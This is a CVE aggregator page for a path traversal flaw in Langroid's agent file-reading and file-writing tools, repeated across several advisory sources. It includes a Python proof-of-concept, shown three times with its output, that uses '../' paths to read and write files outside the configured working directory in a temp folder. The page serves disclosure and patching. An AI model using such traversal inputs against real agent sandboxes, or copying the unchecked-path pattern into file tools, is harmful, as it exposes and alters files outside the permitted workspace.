Every CVE Search/ Get API key

CVE-2026-50181

Langroid: Path traversal in the file tools allows read/write outside configured current directory

7.1 HighPublic exploitFix available

Langroid is a framework for building large-language-model-powered applications. Prior to version 0.64.0, Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir. As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory. Version 0.64.0 patches the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.18%Unchanged since Jul 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Langroid is a framework for building large-language-model-powered applications. Prior to version 0.64.0, Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir. As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory. Version 0.64.0 patches the issue.

Record
CVE-2026-50181
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
EUVDEUVD-2026-42763 7.1

Langroid is a framework for building large-language-model-powered applications. Prior to version 0.64.0, Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir. As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory. Version 0.64.0 patches the issue.

Record
EUVD-2026-42763
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-fg23-3346-88f5 7.1

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Summary

Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.

As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.

This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.

Details

Affected components:

  • langroid/agent/tools/file_tools.py
  • langroid/utils/system.py

Relevant behavior observed:

ReadFileTool contains a comment indicating the intended assumption:

# ASSUME: file_path should be relative to the curr_dir

The tool then changes into the configured current directory and calls read_file(self.file_path).

WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).

The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.

In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.

PoC

Tested locally against the current Langroid repository checkout.

Environment:

Python 3.12
Langroid installed in editable mode with pip install -e .

PoC script:

from pathlib import Path
from tempfile import TemporaryDirectory
import os

os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"

from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool


class DummyIndex:
    def add(self, files):
        print("dummy git add:", files)

    def commit(self, message):
        print("dummy git commit:", message)


class DummyRepo:
    index = DummyIndex()


with TemporaryDirectory() as root:
    base = Path(root)
    sandbox = base / "sandbox"
    sandbox.mkdir()

    secret = base / "secret.txt"
    secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")

    ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
    read_tool = ReadSandbox(file_path="../secret.txt")

    print("READ TOOL RESULT:")
    print(read_tool.handle())

    WriteSandbox = WriteFileTool.create(
        get_curr_dir=lambda: sandbox,
        get_git_repo=lambda: DummyRepo(),
    )

    write_tool = WriteSandbox(
        file_path="../written_by_tool.txt",
        content="WRITTEN_BY_LANGROID_TOOL",
        language="text",
    )

    print("WRITE TOOL RESULT:")
    print(write_tool.handle())

    outside = base / "written_by_tool.txt"
    print("outside exists:", outside.exists())
    print("outside content:", outside.read_text(encoding="utf-8"))

Observed output:

READ TOOL RESULT:

    CONTENTS of ../secret.txt:
    (Line numbers added for reference only!)
    ---------------------------
    1: LANGROID_TOOL_ESCAPE_PROOF

WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL

This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.

Impact

If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.

Potential impact includes:

Reading files outside the intended workspace.
Writing files outside the intended workspace.…
Record
GHSA-fg23-3346-88f5
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
NVD 7.1

Langroid is a framework for building large-language-model-powered applications. Prior to version 0.64.0, Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir. As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory. Version 0.64.0 patches the issue.

Record
CVE-2026-50181
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
OSV 7.1

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Langroid is a framework for building large-language-model-powered applications. Prior to version 0.64.0, Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir. As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory. Version 0.64.0 patches the issue.

Record
CVE-2026-50181
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
OSVGHSA-fg23-3346-88f5 7.1

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Summary

Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.

As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.

This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.

Details

Affected components:

  • langroid/agent/tools/file_tools.py
  • langroid/utils/system.py

Relevant behavior observed:

ReadFileTool contains a comment indicating the intended assumption:

# ASSUME: file_path should be relative to the curr_dir

The tool then changes into the configured current directory and calls read_file(self.file_path).

WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).

The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.

In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.

PoC

Tested locally against the current Langroid repository checkout.

Environment:

Python 3.12
Langroid installed in editable mode with pip install -e .

PoC script:

from pathlib import Path
from tempfile import TemporaryDirectory
import os

os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"

from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool


class DummyIndex:
    def add(self, files):
        print("dummy git add:", files)

    def commit(self, message):
        print("dummy git commit:", message)


class DummyRepo:
    index = DummyIndex()


with TemporaryDirectory() as root:
    base = Path(root)
    sandbox = base / "sandbox"
    sandbox.mkdir()

    secret = base / "secret.txt"
    secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")

    ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
    read_tool = ReadSandbox(file_path="../secret.txt")

    print("READ TOOL RESULT:")
    print(read_tool.handle())

    WriteSandbox = WriteFileTool.create(
        get_curr_dir=lambda: sandbox,
        get_git_repo=lambda: DummyRepo(),
    )

    write_tool = WriteSandbox(
        file_path="../written_by_tool.txt",
        content="WRITTEN_BY_LANGROID_TOOL",
        language="text",
    )

    print("WRITE TOOL RESULT:")
    print(write_tool.handle())

    outside = base / "written_by_tool.txt"
    print("outside exists:", outside.exists())
    print("outside content:", outside.read_text(encoding="utf-8"))

Observed output:

READ TOOL RESULT:

    CONTENTS of ../secret.txt:
    (Line numbers added for reference only!)
    ---------------------------
    1: LANGROID_TOOL_ESCAPE_PROOF

WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL

This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.

Impact

If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.

Potential impact includes:

Reading files outside the intended workspace.
Writing files outside the intended workspace.…
Record
GHSA-fg23-3346-88f5
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
OSVPYSEC-2026-2578 7.1

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Summary

Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.

As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.

This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.

Details

Affected components:

  • langroid/agent/tools/file_tools.py
  • langroid/utils/system.py

Relevant behavior observed:

ReadFileTool contains a comment indicating the intended assumption:

# ASSUME: file_path should be relative to the curr_dir

The tool then changes into the configured current directory and calls read_file(self.file_path).

WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).

The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.

In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.

PoC

Tested locally against the current Langroid repository checkout.

Environment:

Python 3.12
Langroid installed in editable mode with pip install -e .

PoC script:

from pathlib import Path
from tempfile import TemporaryDirectory
import os

os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"

from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool


class DummyIndex:
    def add(self, files):
        print("dummy git add:", files)

    def commit(self, message):
        print("dummy git commit:", message)


class DummyRepo:
    index = DummyIndex()


with TemporaryDirectory() as root:
    base = Path(root)
    sandbox = base / "sandbox"
    sandbox.mkdir()

    secret = base / "secret.txt"
    secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")

    ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
    read_tool = ReadSandbox(file_path="../secret.txt")

    print("READ TOOL RESULT:")
    print(read_tool.handle())

    WriteSandbox = WriteFileTool.create(
        get_curr_dir=lambda: sandbox,
        get_git_repo=lambda: DummyRepo(),
    )

    write_tool = WriteSandbox(
        file_path="../written_by_tool.txt",
        content="WRITTEN_BY_LANGROID_TOOL",
        language="text",
    )

    print("WRITE TOOL RESULT:")
    print(write_tool.handle())

    outside = base / "written_by_tool.txt"
    print("outside exists:", outside.exists())
    print("outside content:", outside.read_text(encoding="utf-8"))

Observed output:

READ TOOL RESULT:

    CONTENTS of ../secret.txt:
    (Line numbers added for reference only!)
    ---------------------------
    1: LANGROID_TOOL_ESCAPE_PROOF

WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL

This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.

Impact

If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.

Potential impact includes:

Reading files outside the intended workspace.
Writing files outside the intended workspace.…
Record
PYSEC-2026-2578
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
langroid
PyPI
through 0.63.0
0.64.0
langroid
PyPI
before 0.64.0, plus listed versions
0.1.1000.1.1010.1.1020.1.1030.1.104
Show 45 moreShow less
0.1.1050.1.1060.1.1070.1.1080.1.1090.1.110.1.1100.1.1110.1.1120.1.1130.1.1140.1.1170.1.1180.1.1190.1.120.1.1200.1.1210.1.1220.1.1230.1.1240.1.1250.1.1260.1.1270.1.1280.1.1290.1.130.1.1300.1.1310.1.1320.1.1330.1.1340.1.1350.1.1360.1.1370.1.1380.1.1390.1.1400.1.1410.1.1420.1.1430.1.1440.1.1450.1.1470.1.1480.1.149
0.64.0

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubchaitanyagarware/CVE-2026-501812026-07-09

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-50181 is a high vulnerability (CVSS 7.1) in Langroid, published July 2, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in langroid 0.64.0.

References

This page doesn't list everything

Left out here: 481 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open